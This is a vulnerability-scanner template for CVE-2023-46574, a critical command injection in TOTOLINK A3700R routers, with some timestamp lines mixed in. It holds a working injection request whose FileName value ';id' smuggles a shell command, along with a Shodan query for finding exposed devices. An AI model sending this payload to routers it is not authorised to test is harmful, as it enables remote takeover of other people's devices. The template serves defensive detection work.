2023-12-25 00:56:03 +00:00
id : CVE-2023-46574
info :
name : TOTOLINK A3700R - Command Injection
author : DhiyaneshDk
severity : critical
description : |
An issue in TOTOLINK A3700R v.9.1.2u.6165_20211012 allows a remote attacker to execute arbitrary code via the FileName parameter of the UploadFirmwareFile function.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-46574
- https://github.com/OraclePi/repo/blob/main/totolink%20A3700R/1/A3700R%20%20V9.1.2u.6165_20211012%20vuln.md
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-46574
cwe-id : CWE-77
epss-score : 0.00223
epss-percentile : 0.60602
cpe : cpe:2.3:o:totolink:a3700r_firmware:9.1.2u.6165_20211012:*:*:*:*:*:*:*
metadata :
max-request : 1
2023-12-27 09:19:00 +00:00
verified : true
shodan-query : title:"Totolink"
2023-12-25 00:56:03 +00:00
vendor : totolink
product : a3700r_firmware
tags : cve,cve2023,totolink,router,iot,rce
flow : http(1) && http(2)
http :
- method : GET
path :
- "{{BaseURL}}"
matchers :
- type : dsl
2024-01-10 14:07:36 +00:00
internal : true
2023-12-25 00:56:03 +00:00
dsl :
- 'status_code == 200'
- 'contains(body, "<title>TOTOLINK</title>")'
condition : and
2023-12-27 09:19:00 +00:00
- raw :
- |
GET /cgi-bin/cstecgi.cgi HTTP/1.1
Host : {{Hostname}}
{"topicurl" : "UploadFirmwareFile" , "FileName" : ";id" }
2023-12-25 00:56:03 +00:00
matchers-condition : and
matchers :
- type : regex
part : body
regex :
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)"
- type : status
status :
- 200
2024-01-10 17:08:41 +00:00
# digest: 490a00463044022051c591475d31314b27b620d57cb9ff537d9f836e9e37916526d37900f7953bcc02203948a5409b6041511d80b707a2de2926ed23ee62cd41722462aeb7609e0c9016:922c64590222798bb761d5b6d8e72950